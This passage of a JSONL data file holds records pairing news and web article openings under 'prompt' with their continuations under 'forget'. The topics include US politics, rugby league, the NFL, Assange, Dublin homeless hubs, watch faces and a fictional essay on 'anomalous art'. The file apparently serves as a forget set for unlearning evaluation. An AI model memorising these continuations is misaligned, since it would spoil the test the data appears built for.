Leader Mitch McConnell and House Speaker Paul Ryan have praised the sacrifices of the Khan family and Muslim Americans in the U.S. armed forces. While calling for Americans to honor the Khans, both McConnell and Ryan stopped short of criticizing Trump by name. In a statement issued Sunday, Reid says anything short of revoking their endorsements of Trump is \"cowardice\" on the part of the Republican leaders. Reid says \"this shouldn't be hard\" and calls Trump \"a sexist and racist man who insults Gold Star parents, stokes fear of Muslims and sows hatred of Latinos.\" The Nevada Democrat says Trump shouldn't be president and that \"Republican leaders have a moral responsibility to say so?.\" ___ 4:55 p.m. House Speaker Paul Ryan says Muslim"}
{"prompt": "After a terrible personal performance against the Cowboys in round 8, Newcastle captain Kurt Gidley has announced that he\u2019s heading over to England to finish out his career with Warrington. But first, there is a long NRL season to play out, and the Knights need to figure out where Gidley fits into their team. Gidley has his fair share of critics, but he is still a valuable player. He just needs to be used in the right way. Facebook Twitter Whatsapp Reddit Email Share At the moment Rick Stone is starting Gidley at fullback and moving him to hooker a", "forget": "third of the way through the game to make way for Sione Mata\u2019utia at fullback. This is a frustrating, overcomplicated and downright ineffective tactic. For a number of years Gidley has been part of Newcastle\u2019s spine, and he has a great deal of respect from his teammates and the coaching staff. But it\u2019s becoming clear that he needs to move from a shot caller to a support player. Gidley often over calls his halves for the ball, only to make a poor decision when he gets it in his hands. The halves, Jarrod Mullen and Tyrone Roberts, seem to lose confidence and refuse to back themselves when Gidley is calling the shots. Advertisement Advertisement No one can doubt Gidley\u2019s commitment to the Knights, but in his effort to do everything himself he makes a lot of errors. But despite all this Gidley does have a place in the Knights\u2019 top 17 \u2013 as an impact lock/second row coming off the bench. Gidley has the ability to break tackles, make tackles, throw offload and play the ball at the line \u2013 all attributes which would make him an excellent impact backrower. He\u2019s also one of the fittest blokes in the NRL, and holds the Knights\u2019 record in the beep test. In fact, he has broken his own record a number of times. Compare his offensive career stats to those of Luke Lewis, who has also been slapped with the same utility tag for much of his career. Like Gidley, he has been forced to play a number of positions, from fullback to forward. Gidley: Games 236, metres per game 101, tackle busts 480, offloads 297 Lewis: Games 242, metres per game 82, tackle busts 385, offloads 173 Gidley also averages more tackles a game (18.3 v 17.4), less missed tackles (2.3"}
{"prompt": "Bob Chapman | February 23, 2011 Public debt has become a problem worldwide. What is becoming more and more evident is that it is unsustainable and simply unpayable. It could be compared to a giant Ponzi scheme. We see no meaningful debt reductions thus, government will have to raise taxes, which will further suppress the economy, or people and companies will be forced to buy such bonds, or perhaps pension and retirement funds will be seized to continue the game for a while longer. The whole concept of government debt in the US, whether it\u2019s federal, state, municipal, corporate or", "forget": "personal stands on very shaky ground. Debt is serviced with revenues and income and when both are falling it is difficult to service. We have begun to enter a period of slowly rising interest rates. In the US the Fed has managed interest rates to be as low as possible to both aid in a recovery and to keep the financial edifice from collapsing. Over the past six months the bench mark 10-year Treasury note yield has risen from a yield of 2.20% to 2.74% and presently stands at about 3.60%. That 1.4% rise in rates has been offset by GDP growth of 3%. The problem is that such GDP growth has been maintained by growth in debt. The two sources of debt are the Fed and government. The Fed has been buying the government debt by creating money out of thin air. That is called monetization and it causes inflation. The government demand comes from revenues that have fallen and continue to fall, and as a result government issues more debt. The lenders, the bond buyers, sell dilution in the value of debt and in the dollar and as a result demand a higher yield. At this stage you can see how important QE1 and 2 and fiscal stimulus have been over the past 2-1/2 years. Had they not been implemented the economic and financial system would have collapsed. The next question to be asked is will we have to have quantitative easing and stimulus indefinitely? The answer is yes, but unfortunately if that path is followed lenders will demand ever-higher interest rates and the dollar will continue to fall in value versus gold and silver and other currencies. We estimate GDP growth to be 2% to 2-1/4% in 2010, down from 3%, all of which were aided by"}
{"prompt": "This year my boys were about 2\u00bd years old for Christmas, providing an interesting setting to reconcile my views and values surrounding the holiday. I have lots of fond childhood memories around the magic of Christmas and getting presents; so given my recent philosophical changes how should I approach this topic with my family? Well, now that it\u2019s the New Year, why not reflect upon it? Leading up to Christmas The boys started singing and requesting Christmas songs pretty early in December, or late November. We stuck to classics such as Jingle Bells, Frosty the Snowman, Rudolph the Red-Nosed Reindeer", "forget": "and Deck the Halls. I was pretty amazed actually at their ability to learn and recite songs; this was a fun part of Christmas for sure. Daily we would sing Jingle Bells together in the car on the way home for the day. I like to push decorating as last as possible, usually mid-December. I grew up in a house where we would get a tree a week or two before Chistmas day and my Dad would ceremoniously toss it out the front door on New Year\u2019s Day. Our decorations are quite modest; consisting of a few strings of lights outside, a small tree and any cards received and other decorations we\u2019ve received as gifts. We don\u2019t like a lot of clutter in general, so we take a pretty minimalist appraoch. Gifts The boys got one gift each and a stocking full of little toys and things from Santa. Our families have free reign to give them what they want, but we do encourage them to keep it moderate. My wife and I actually forgot to get them something specifically from us, which was our plan. That being said, the boys received more than enough gifts from family. My wife has a wonderful habit of purging toys occassionally, storing some, giving some away and cycling previously stored toys into rotation. There is no need for more toys at any point. Santa When we discussed this topic last year, before the boys were really talking, we both agreed that ideally we wouldn\u2019t even bother with the myth of Santa. We came around thankfully, remembering the magic we each experienced as kids. Our compromise is that we agreed Santa would bring one wrapped gift per child each year along with a stocking full of trinkets and useful items. Wrapping it up As"}
{"prompt": "The image is striking: A pale woman with white hair is grabbing a black woman by the face. The white figure looks angry and determined. The black figure looks submissive; her body all but disappears into the background of the ad itself. \u201cPlayStation Portable,\u201d the text says. \u201cWhite is coming.\u201d Wait, is this real? Yes, it is. The ad ran in the Netherlands in 2006 to advertise a white model of the PlayStation Portable, and it quickly drew controversy. \u201cWhilst the images used in the campaign were intended solely to highlight the contrast between the different colors available for the", "forget": "PSP, we recognize that the subject matter of one specific image may have caused concern in some countries not directly affected by the advertising,\" Sony Computer Entertainment of Europe said in a statement at the time. \"As a result, we have now withdrawn the campaign.\" It was a ridiculously tone-deaf advertisement then, but that was a long time ago. Why is it back on the radar? One tweet went viral I wish I had a better reason for all the noise around this image, but it boils down to the fact one person tweeted the ad yesterday and it blew up. sony: literally just make the most racist thing you can imagine designer: wait what sony: we'll give you ten grand designer: pic.twitter.com/02a9UJM4vA \u2014 enmet (@emmetbroaders) April 4, 2017 With nearly 20,000 retweets and over 29,000 likes, that\u2019s a tweet with a lot of reach. A lot of people, seeing the ad for the first time, assumed it was new or still running and tweeted their own version of it next to some version of \u201cWhat the hell?\u201d The individual who tweeted that image has also been subjected to 48 hours of \u201cwell, actually\u201d replies where people point out the age of the advertisement, which is a fact they already knew. glad that we're doing bad ads again even better that it's an opportunity to drag sony once again \u2014 enmet (@emmetbroaders) April 4, 2017 The viral tweet used a rhetorical construction that\u2019s been around for a while, mocking the idea that ad companies have no idea what they\u2019re doing, but at least their checks don\u2019t bounce. Company: \"We'll pay you to sponsor our food even though you're a YouTube makeup artist\" Youtuber: https://t.co/VHochp3Ymu \u2014 anna (@annathedrama) February 16, 2017 There are other bad ads out there? I mean, there"}
{"prompt": "Despite all the bad press and the endless predictions of potential problems, the Denver Broncos will be fine if Pro Bowl linebacker Von Miller ultimately is suspended for the first four games of this season. They still have Peyton Manning playing quarterback. They still have a schedule that ranks as the easiest in the NFL. They also have that proverbial chip on their shoulders, the one that has been sitting there since they flopped in last year's playoffs. As disheartening as the news of Miller's impending suspension had to be for the Broncos organization -- and he's currently appealing the", "forget": "punishment for allegedly violating the league's substance-abuse policy -- these are facts that can't be denied. The AFC remains so weak that a Denver team that is the clear-cut class of the conference could overcome even his absence. There would've been more legitimate concern had Miller been lost to injury or during a more critical stretch of the season. But one glance at the Broncos' September lineup reveals that they will survive his possible loss without much concern. For those who believe the Baltimore Ravens pose a substantial threat in the season opener because they are the defending Super Bowl champions, think again. That game will be played in Denver, and the Ravens won't be nearly as scary as they were at the end of last season. Baltimore is replacing several key leaders (Ray Lewis, Ed Reed, Matt Birk and Anquan Boldin) and dependable playmakers (Paul Kruger, Dannell Ellerbe and Bernard Pollard). This team, one that nobody was hyping when last year's postseason began, has 9-7 written all over it. Von Miller is an impact player, but Denver has a lot of other things going for it in 2013. AP Photo/Jack Dempsey Broncos fans also shouldn't be quivering at the thought of Denver facing Philadelphia and Oakland in Weeks 3 and 4. Those teams combined for six wins last season, and it's hard to see them drastically improving this fall. The only real disappointment here could be Miller's lost opportunity to pad his stats. Between the uncertainty surrounding the Eagles' quarterback situation and the questions about new Raiders quarterback Matt Flynn, Miller could've set sack records in those contests. That leaves only a Week 2 road trip to the New York Giants as the most imposing sight on Denver's early schedule, and this much we know right now: There is"}
{"prompt": "ALAMEDA, Calif. -- A \"frustrated\" Mark Davis said he stands behind general manager Reggie McKenzie and new interim head coach Tony Sparano as the Oakland Raiders try to bounce back from a 0-4 start and the firing of coach Dennis Allen. However, Davis said it is imperative that the Raiders improve. \"The way we were losing was frustrating,\" the Raiders owner said after the news conference to announce Allen's firing and Sparano's hiring for the rest of the season. \"I think it's just the way we lost some of the games, yeah, I think we weren't in them. To me,", "forget": "that's not what the Raiders are. ... In my analysis, I think we do have players that can play in this game. And I just think that there may be some changes in how the schemes are utilized. Dennis is the one who has taken the fall for it.\" Editor's Picks Williamson: Raiders need to remember how to win What does interim head coach Tony Sparano think the Raiders' biggest problem is? They have forgotten how to win, Bill Williamson writes. Davis said it was McKenzie's decision to fire Allen and that he agreed. McKenzie chose Allen in 2012 after Davis made McKenzie the primary decision-maker of the franchise in the first move after the death of his father, Al Davis, in November 2011. Allen was 8-28 as the Raiders coach and they have lost a league-high 10 games dating to last season. Asked if it was a mistake to keep Allen after consecutive 4-12 seasons, Allen said, \"No, that was Reggie's decision, and you see where it ended up. So, I don't know if you'd call it a mistake.\" McKenzie said in the news conference that he will hire the next coach. Yet he said he realizes nothing is guaranteed with his own job security. \"A lot rides on me,\" said McKenzie, whose drafting and free-agent signings have yet to pay dividends on the field in Oakland. \"I brought Dennis here to win, and that did not materialize.\" Sparano At A Loss Since Tony Sparano became the Dolphins' head coach in 2008, the teams he has been involved with have had just one season .500 or better. The past six seasons, his teams have finished below .500 every year: Team W-L Role 2008 Dolphins 11-5 HC 2009 Dolphins 7-9 HC 2010 Dolphins 7-9 HC 2011 Dolphins 4-9* HC 2012"}
{"prompt": "Julian Assange's residency at the Ecuadorian embassy in London would be coming to an end should Ecuadorian presidential hopeful Guillermo Lasso win the election next week. Lasso made the remarks in an interview to the Guardian on 9 February. \"The Ecuadorian people have been paying a cost that we should not have to bear,\" he said during an interview in Quito. \"We will cordially ask Se\u00f1or Assange to leave within 30 days of assuming a mandate.\" Israel: 12th Dead Sea Scroll cave of Qumran discovered The right-wing candidate of the Creo-Suma alliance is running behind the ruling socialist party candidate", "forget": "Lenin Moreno in the first round of the vote on 19 February. Moreno served as vice-president under current president Rafael Correa between 2007 and 2013. He is a well-known activists for the rights of people with disability as he has been in a wheelchair since he was shot in a robbery in 1998. He has been leading the polls since November, but Lasso, who is a former banker, could still stand a chance of winning should the two face each other in a run-off. Couple arrested after autistic girl found locked in cage covered in excrement The Correa government has been supporting Assange's request of political asylum since 2012 when the Australian sought refuge in the country's embassy to avoid extradition to Sweden, where he is accused of rape. But, according to the Guardian, politicians and diplomats are increasingly weary of the situation and occasional tensions have surfaced. Internet access to the Wikileaks founder was temporarily cut during the US presidential election, when his website published leaked email about the Democratic Party and its candidate Hillary Clinton. \"We wanted to be clear that our sovereign space was not being used for interference in the election of another country,\" the foreign minister, Guillaume Long told the British newspaper. Man trapped underwater by digger saved by using yoga position He added that there is a human cost to the situation and that the embassy staff has been \"through a lot\". \"This is probably the most watched embassy on the planet,\" he said. According to Long, the staff tried to give Assange, who recently said he had not seen the sunlight in four years, as much comfort as possible, but the building does not have outside areas and he occupies a room on the first floor, where there is not much light. Julian"}
{"prompt": "O'Sheas Merchant pub on Merchants Quay The decision to turn accommodation above a popular GAA pub into a shelter for homeless families has been described as inappropriate. The city council will turn the current emergency accommodation at O'Shea's Merchant pub on busy Merchants Quay into a family hub. The move is part of drastic plans by Housing Minister Simon Coveney to ensure no families will be living in hotels or B&B accommodation by the start of next month. The emergency accommodation above the pub will be turned into one of 15 family hubs across the city planned by the council's", "forget": "Homeless Executive. None of the hubs will be run by the Homeless Executive. All will be taken over by housing services. No details have yet been released about the opening date of the hub at O'Shea's Merchant or the number of families who will stay there. However, it is understood that the families currently using the emergency accommodation are expected to remain when the property is transformed. O'Shea's Merchant is a popular Dublin pub, especially among Kerry supporters. Those living in the hubs will be allowed visitors but will not be permitted to have anyone stay overnight. Clubs Meals will be provided on-site and each family will have their own en-suite washing facilities. Homework clubs for children will be included. Last month, city councillors backed a motion calling for a change in the way family hubs are chosen. Previously, councillors had been left in the dark about hubs until plans were finalised. Cllr Mannix Flynn - who tabled this emergency motion - has hit out at a lack of information for families and councillors and said the hub above O'Shea's Merchant was in a \"highly inappropriate\" location. \"[The council] is not telling us what buildings it is looking at or where the money is going,\" he said. \"It's highly inappropriate - a really busy corner of a main street. It's also a stones throw away from Merchants Quay Ireland [Homeless and Drug Service] which is an issue of constant complaint from the public over anti-social issues.\" News of the latest hub comes just two weeks after it was revealed that a hub would be located in a Bargaintown furniture store site on the Malahide Industrial Estate in Coolock. Two more will be located in Lynam's Hotel on O'Connell Street and Mater Dei on Cloniffe Road. Others will be located in"}
{"prompt": "Cards Against Humanity, before it became go-to entertainment for a generation raised on the Internet and saddled with a backward idea of political correctness, began as a crowdsourced, printable game created by a group of old high school friends. A 2011 Kickstarter campaign produced the actual cards. In the promotional video, we\u2019re introduced to half a dozen white guys who explain that it\u2019s for \u201chorrible people,\u201d or at least the type of people who like to jokingly describe themselves as such. Recently, for a Black Friday promotion, they sent 30,000 people boxes of actual bullshit. It\u2019s that sort of thing.", "forget": "The concept is simple: One person throws out a fill-in-the-blank prompt card, and the rest of the players have to supply the missing words with cards bearing phrases like \u201cpooping back and forth forever\u201d and \u201cnot giving a shit about the Third World.\u201d The founders promise that the game is \u201cas despicable and awkward as you and your friends.\u201d Their success is startling: Cards Against Humanity is the No. 1 bestseller in Amazon Toys & Games, with five expansion sets to date, three holiday packs, and bundles with themes like \u201cnostalgia\u201d and \u201cscience.\u201d There are more than 14,000 five-star reviews on Amazon. \u201cThat\u2019s a level of devotion that can\u2019t be explained by shock value alone,\u201d wrote Nick Summers in Business Insider, as \u201cthe humor is calibrated to startle without being outright offensive.\u201d Well, that\u2019s not exactly true. The first time I played Cards Against Humanity, I couldn\u2019t remember having ever laughed so hard. It was at a friend\u2019s engagement party, with 10 people I knew better than just about anyone, our faces turning red and streaming with tears as we envisioned a mopey zoo lion, a frolicking gassy antelope, and Micropenises: The Musical. The hilarity lived in the shock, and each card had us doubled over almost before we could read it. You\u2019re the \u201chorrible person\u201d who played the cards in the first place. It\u2019s not the game\u2019s fault. The second time I played, I still laughed a lot, though I started recognizing all the cards. The third time, I realized that some made me uncomfortable. The fifth time I played, I was thankful that my friend had brought an expansion pack, because there are only so many times I can cackle at the idea of Glenn Beck balls-deep in a squealing hog. I\u2019ve played it about a dozen times,"}
{"prompt": "A Portrait of Poly Psychopharmacology You think maybe something wasn\u2019t quite right? This journey started the summer of 1985 and is about to end in the next couple of months. I have been withdrawing the past 6 years. Nothing ever did \u201cwork\u201d and in retrospect much made me worse, hence the withdrawal process that began six years ago of which I am at the tail end. The reason it didn\u2019t work is because after an illicit drug induced mania, I basically just had average problems of living to deal with, and then once I started on drugs the issues became", "forget": "drug induced symptoms. Iatrogenic psychiatric and other symptoms. My diagnosis, given as a life sentence never really had much credibility. Many times on the \u201ctrials\u201d of these drugs I went through periods of at least two weeks (my doctor always told me to stick it out as the side-effects might pass) in which I suffered immeasurably. They generally didn\u2019t pass, but sometimes I got used to them, sort of like the proverbial toad in water. The cocktail I ended up after much experimentation left me the least twisted, but grossly twisted nonetheless. In retrospect I see now how one drug led to the next. The \u201cmood-stabilizers\u201d which left me depressed led to the antidepressants which left me with insomnia and agitation which led to the benzos for sleep. They still didn\u2019t get rid of the agitation which led me to the antipsychotics (which made everything worse and in fact my doc kept adding Risperdal milligram by milligram until I was on 11 mg for my akathesia which I now know is CAUSED by the Risperdal\u2014he was treating my symptom with the drug that was causing the symptom!! No joke.) My akathisia ceased when I finally got off the Risperdal. We always called it \u201canxiety.\u201d What crap. All that left me so sedated, the next step was the stimulants. The addiction to benzos left me in tolerance withdrawal which increased the anxiety and thus led to more benzos. Unfortunately I\u2019ve learned this happens to way too many people, some of whom never even realize it. Drugs leading to more drugs leading to more drugs. And once in the trap it\u2019s almost impossible to see clearly. To realize what is going on is difficult and perhaps sometimes impossible. Now I\u2019m virtually done with my withdrawal of the final cocktail of 6 meds"}
{"prompt": "Shaquem Griffin thought UCF football coaches were joking when they told him to join the linebackers' room last month. Up until the start of spring practice, he spent the majority of his college football career working out with the secondary, which includes his twin brother, Shaquill. Griffin, who is a redshirt junior from St. Petersburg, made his biggest play during a game last season on special teams when he recovered a muffed punt against Tulane. But when the new coaching staff looked at Griffin, they didn't see a safety. They saw a potential pass rusher at outside linebacker. \"My father", "forget": "always talked about me playing linebacker,\" Griffin said. \"And now that I was in there I was like let's give it a shot and it actually went really good for me...my dad was like I told you so, I told you so. That's the funny part about it.\" Griffin brought some experience to the position having played linebacker in sports during his time at Lakewood High School. The Knights will rely on Griffin to bring his speed and athleticism to the linebackers as the team transitioned from a base 4-3 defense to a 3-4. There is no set group of starters, but Griffin and senior Errol Clarke have seen their fair share of reps with the 1s at outside linebacker with Chequan Burkett and Mark Rucker working the inside. New linebackers coach Jovan DeWitt said he's been pleased so far with Griffin and Clarke's performance on the edges. \"They're doing a really good job and buying into a lot of the things that we're doing. They're having some success. Obviously Griff came down from the back end on the secondary level but he's got some height to him and some strength and some quickness that we want,\" DeWitt said. \"Errol's a really good football player and he's picking things up really well. He's transitioned really well into being an edge guy. He's got the combination of understanding the coverage area aspect and still being a physical enough player in the box for us.\" Griffin's background as a safety makes the transition much easier in a 3-4 defense here linebackers are more spread out as if they were on a basketball court. His brother, Shaquill hasn't been surprised by his success in the new role either. Like their father, Terry, he always saw Shaquem more as a linebacker. \"[Shaquem] was really"}
{"prompt": "Posted on September 11, 2011 in Articles The President ordered from Costco for the Osama Bin Laden watch party. Turkey pita sandwiches, cold shrimp, potato chips. The White House\u2019s comfort food of choice to witness the end of the world\u2019s most wanted man. \u201cNow entering Pakistan,\u201d CIA director Leon Panetta narrated over the big screen. Joe Biden kneaded rosary beads. Hillary Clinton covered her face in shock. But President Obama looked on. Stone-faced. \u201cGERONIMO. EKIA.\u201d Geronimo. The code name for Osama Bin Laden. EKIA. Enemy Killed In Action. Osama Bin Laden had been shot in the head. A hushed silence.", "forget": "\u201cWe got him,\u201d President Obama said finally, quietly. A pause. Then the backslapping, the high-fiving all around. \u201cWe got him.\u201d With that Obama grabbed a sandwich to go and marched upstairs to tell the nation. **************************************** Osama Bin Laden was irrelevant by 2011. Al Qaeda, decimated by Drone attacks from above, infighting from within, and reviled across most of the Muslim world. But the visceral joy was still there. That sneering, bearded mug of barbarity was shot in the head. By an American bullet. The mystique died next. Turns out, Osama Bin Laden was not a hardened ascetic denouncing the West from a snow-capped mountain pass. Instead, he reclined on the third floor of a million dollar compound forty miles from Pakistan\u2019s capital. He was a vainglorious media junkie who dyed his beard for his next video. He spent his time looking at a) himself on TV and b) porn. Osama Bin Laden was protected not by legions of hardened Mujahideen fighters but two well-to-do Pakistanis and their children. A private family that kept to itself with no phone-lines. They burned their trash indoors lest anyone riffle through the refuse. He spent his final days listening to the pitter patter of children\u2019s feet. Buffalo crowning a yard over. And that cloudless night the incoming roar of four U.S. helicopters and then gunfire. He was shot once in the head, once in the back, before his body was unceremoniously dumped somewhere in the Indian Ocean. A decade after September 11, Osama Bin Laden was not the savior of the Muslim world but its scourge. His name sneered, not chanted. A decade later, Osama Bin Laden was no longer the bearded totem of resistance to American imperialism. He was the crutch of Hosni Mubarak, Muammar Gaddafi and the region\u2019s other loathed strongman"}
{"prompt": "@cheesyhel/Twitter A birthday greeting card that tells 13-year-old girls they could get jewels from rich boyfriends \"when they have bigger boobies\" has sparked outrage on Twitter. The condemnation was unleashed following a Dec. 7 tweet from user @cheesyhels in the United Kingdom: \"Look at this shockingly awful card I found today for a 13 year old!\" she wrote, along with a link to an image of the card. The card, created more than 14 years ago by a company that was since acquired by Hallmark Cards UK, read: \"You're 13 today! If you had a rich boyfriend he'd give you", "forget": "diamonds and rubies Well, maybe next year you will - when you've bigger boobies!\" The drawing on the Arnold Barton brand card depicts a girl holding a box containing a ring. There was immediate outrage on Twitter. The original tweet was retweeted 515 times. American author Maureen Johnson also tweeted about the card, and her tweet was retweeted more than 1,100 times. User ?@andrewtshaffer tweeted in response: \"I hope when she's 14 she doesn't have a boyfriend buying her rubies because of her boobies.\" Other Twitter users expressed disbelief. \"Is that real? That cannot be real,\" Tweeted user ?@katelinnea. @cheesyhels also tweeted the image to Twitter user @LynnCSchreiber, who wrote a post about it for Jump!, a British magazine for young girls. In her post, Schreiber wrote: \"Words failed me when a Twitter friend showed me the card that she had seen in a local newsagent.\" \"You won't have to rely on a boyfriend, or hope that your 'boobies' grow big enough,\" Schreiber's post continued. \"You will be successful and happy because of your intelligence and creativity, not because of your looks.\" Hallmark's U.S. corporate office posted an apology from Hallmark UK on its website on December 7. It also explained that the card was created before Hallmark bought the company in 1998. \"We are as surprised and horrified as anyone else to have discovered that there are still copies in circulation,\" David Dean, managing director of Hambledon Studios, a subsidiary of Hallmark UK, said in the statement. \"The card has not been produced for over 15 years and would never pass our own strict guidelines of taste and appropriateness. We would like to assure all our customers that we will do everything in our power to track down remaining copies.\" Schreiber updated her blog and posted on Twitter to"}
{"prompt": "One of the best parts of Wear OS is the ability to customize your watch face. It\u2019s a small thing, but making it look how you want it to look adds a uniqueness that can make your watch truly yours and distinguishable from everyone else\u2019s. There are a ton of great selections, but here are a few Android Wear watch faces that we think shine above the rest. As of the time of this writing, these watch faces should work on most Wear OS and Android Wear smartwatches. Check out more excellent Android Wear apps and games! 10 best Android", "forget": "Wear apps (Wear OS apps) 5 best Wear OS games (Android Wear games) AccuWeather Price: Free / $2.99 DOWNLOAD ON GOOGLE PLAY DOWNLOAD ON GOOGLE PLAY AccuWeather is a decent weather app. On top of all of its mobile features, it also has support for the newer Wear OS features. It's not a watch face on its own. It's a fully usable Android Wear app. It just so happens to also have Android Wear watch faces. To be honest, they aren't the most amazing watch faces ever. However, they're clean, they show you the weather, and they're Wear OS compatible. Since it can cover your phone, watch, and watch face, you can kill several birds with one stone using this app. DOWNLOAD ON GOOGLE PLAY DOWNLOAD ON GOOGLE PLAY Black Metal HD Watch Face Price: Free / $2.49 DOWNLOAD ON GOOGLE PLAY DOWNLOAD ON GOOGLE PLAY Black Metal HD is an ideal middle-of-the-road watch face. It features a black, brushed metal style look. The watch face itself has customizable elements as part of the Wear OS Complications feature. It can show things like battery status (for phone and watch), Google Fit, current weather conditions, and more. The watch face does virtually everything you'd want a watch face to do. It has a few bugs, but otherwise it works well. It's definitely one of the simpler, but better Android Wear watch faces. DOWNLOAD ON GOOGLE PLAY DOWNLOAD ON GOOGLE PLAY Bubble Widget and Wear Launcher Price: Free / $3.95 DOWNLOAD ON GOOGLE PLAY DOWNLOAD ON GOOGLE PLAY Bubble Widget and Wear Launcher bills itself as a widget and launcher for Android Wear. As it turns out, it also has an interactive watch face. Essentially, the launcher becomes the watch face. You'll see the time, of course. The watch face will also"}
{"prompt": "The 2016 college Senior Bowl begins tomorrow with the weigh-in, followed by practices Tuesday-Thursday, with the game next Saturday January 30th. This is my position-by-position breakdown of who I\u2019m liking and who I\u2019m looking to gain more information on going forward: Cornerback Always one of the positions that has had the most distinct Seahawk archetypes, CB begins with a player that is near 6\u20190\" and 190lbs. We\u2019ve seen exceptions (WT3 and Burley pretty much the only two in six years\u2026and Burley wasn\u2019t a draftpick), but for the most part it\u2019s those benchmarks. Weight is less of a deal-breaker than height/length.", "forget": "A guy can put on 10lbs but you can\u2019t make a short guy tall. That gives us our first pass at filtering down to a list of: James Bradberry 6\u20191\"/213 Eric Murray 6\u20190\"/199 William Jackson 6\u20191\"/185 Jalen Mills 6\u20191\"/194 Deiondre Hall 6\u20192\"/190 Harlan Miller 6\u20191\"/180 Maurice Canady 6\u20192\"/195 So, the good news is that is a pretty long list of options. But a) that list will probably filter down again after weigh-in when the arm-lengths are announced, b) I\u2019ve already filtered that list down in my mind to one. After considering all of the intel that I have access to, the only CB that I am currently considering as a draftpick from this group is Maurice Canady. And even with him, I think I\u2019d have to see him on the board in the 6th round to be interested. I don\u2019t think he\u2019s WT3 in the 4th, nor Sherm or Tye Smith in the 5th\u2026I think he\u2019s more Byron Maxwell in the 6th. And he\u2019ll need two years on the PS/active-redshirt/bench to get his technique complete. Now, before making you think this makes the CB class seem a disaster, keep in mind the declared Juniors includes Jalen Ramsey, Mackensie Alexander, Vernon Hargreaves, Eli Apple, Kendall Fuller, Artie Burns, Rashard Robinson, Xavien Howard, Zack Sanchez, Daryl Worley. About 7 of those guys are over 6\u20190\". Defensive End I don\u2019t recall ever seeing such an extreme, across the board swing to a 3-4 style DE in a single class. These guys, outside of Noah Spence, are MASSIVE. And, quite frankly, many are being mislabeled as DE. Literally, f you look at the North/South specific rosters, the South lists only one guy as a DT (Quinton Jefferson), and then lists seven DE\u2019s. And those DE\u2019s run 261, 265, 275, 283, 303, 313 lbs. The"}
{"prompt": "Let\u2019s be honest Allyson, this really is all your fault. For months now I\u2019ve been flying under the radar, working hard at achieving my no-reputation reputation. I openly let my peers judge me and was happy being referred to as \u201cWho?\u201d and \u201cHer?\u201d. And it was all for two reasons: One, they didn\u2019t know me. And two, if we ever did meet, I could scream \u201cYou don\u2019t know me! You don\u2019t know me!\u201d the same way sassy, out of control, pregnant teenagers do on Maury. But those dreams are far behind me now. Because today is a Thursday and I", "forget": "find Thursdays to be exceptionally boring. So imagine my excitement when I get an email from my school telling me I need to pick up a package. I\u2019m already in the 7.56 to 7.73 range of happiness on any given day so I hit Chris Traeger levels of optimism. Public Service Announcement: Apparently that much happiness affects one\u2019s situational awareness and ability to rationalize. Because I got my package and started dancing. Like, in the mailroom, started dancing. Mind you, I\u2019m a terrible dancer. I only wish I could dance half as well as Elaine. About 45 seconds in I say to myself, \u2018You should stop. If someone notices you\u2019ll never be able to achieve your Maury-level dreams.\u2019 Why I didn\u2019t stop there is beyond me. The CIA World Factbook should really examine their projected population growth rates for India and Nigeria because they have nothing on the population growth of my college\u2019s mailroom. In the minute and a half I spent dancing our mailroom managed to grow from one person (Me) to about 30. This includes the girl that sits behind me in criminal law and two guys that I will see in chemistry class tomorrow morning. And naturally, there were all staring at the crazy person dancing (Dancing. Seizure. Call it what you will). So as any sane, reasonable person does, I took my package and ran the hell out of there. Thank God the embarrassment is over, right? Wrong! I ran so fast that I body slammed my apartment building\u2019s door which wouldn\u2019t have been a problem if the cute guy living on my floor hadn\u2019t been opening it with a basket full of laundry. No, instead laundry flew everywhere and I mumbled something along the lines of \u201cthank you\u201d and \u201creddit\u201d. Now he thinks I\u2019m an"}
{"prompt": "Donald Trump. (Lucas Jackson/Reuters) This story has been updated. In an interview with Reuters on Tuesday, likely Republican presidential nominee Donald Trump made what appeared to be some of his most extensive comments yet about international climate change negotiations. In particular, Trump said he didn\u2019t like the Paris climate agreement, recently signed by 175 countries, including the United States, and would either renegotiate it or do something more than that. \u201cI will be looking at that very, very seriously, and at a minimum I will be renegotiating those agreements, at a minimum. And at a maximum I may do something", "forget": "else,\u201d Trump told Reuters. \u201cBut those agreements are one-sided agreements and they are bad for the United States.\u201d [U.S. and 170 other nations sign historic climate agreement] The main reason given, in the Reuters story about the interview, was that Trump didn\u2019t believe other countries would comply with what Paris requires. \u201cNot a big fan because other countries don\u2019t adhere to it, and China doesn\u2019t adhere to it, and China\u2019s spewing into the atmosphere,\u201d he said. While the White House press secretary Josh Earnest dismissed the remarks Wednesday \u2014 \u201cI don\u2019t know if there\u2019s anyone losing sleep here at the White House,\u201d he said at a press briefing regarding Trump\u2019s plans \u2014 environmental groups quickly denounced the statements. However, Trump\u2019s words in many ways appear less a rehash of Trump\u2019s overall climate change skepticism and more just baffling. Consider some of the things that don\u2019t make much sense about what Trump appears to be saying, in light of what the Paris agreement actually is and how it works. [Trump: \u2018I\u2019m not a big believer in man-made climate change\u2019] Trump suggests the agreement is \u201cone-sided\u201d or \u201cbad\u201d for the United States. It\u2019s not entirely clear why he thinks that, but if the implication is that it imposes something on us from outside, that isn\u2019t how the agreement works. Under Paris, each country makes its own individual commitments to reduce emissions. The United States sets its own targets, in pledges made to the United Nations, and like every other country, it is supposed to increase them over time. Thus, in the end, the United States does as much as it can or wants to under Paris. In fairness, the agreement certainly does assume that all countries are earnestly committed to cutting emissions. The current U.S. pledge, to reduce emissions 26 percent to"}
{"prompt": "In the nineteenth century, the march of progress made it possible for the first time for human science to contemplate and comprehend those phenomena which had long seemed to contravene the laws of nature. Within a matter of decades, concepts that had long been viewed as witchcraft or sorcery were laid bare in the terms of a new and secret science, and governments and organizations around the world began to classify, study, and collect all such anomalies. And, just as artists throughout history have turned a critical eye to the events of the day in their work, so too did", "forget": "the artists of this scientific Renaissance begin to interpret these new discoveries on canvas. By the 1870s, Paris was the center of the world of anomalous art, and the city stood witness to endless debates about the role of the anomalous in art, or whether such a role existed at all. When in 1874 the famed Salon des Magnifiques refused to allow any \"works of a phantasmagorical nature\" to be displayed at their grand exhibition, those artists shut out by the committee organized their own counter-exhibition, to be held at the same time across the river. \"Sommes-Nous Devenus Magnifiques?\", as the show came to be called, was the talk of the Parisian press for months, earning equal amounts of curiosity, dismissal, and outright derision, but the exiled gadflies had made their point - the paranormal, the anomalous, and the bizarre had found a place in the world of art and would not be so easily gotten rid of. \"Sommes-Nous Devenus Magnifiques?\" held its exhibitions every ten years thereafter, and as time passed the world of anomalous art grew larger. From its beginnings in Paris, artists from all across France and Europe, and later from the Americas and the Orient as well, began attending the increasingly 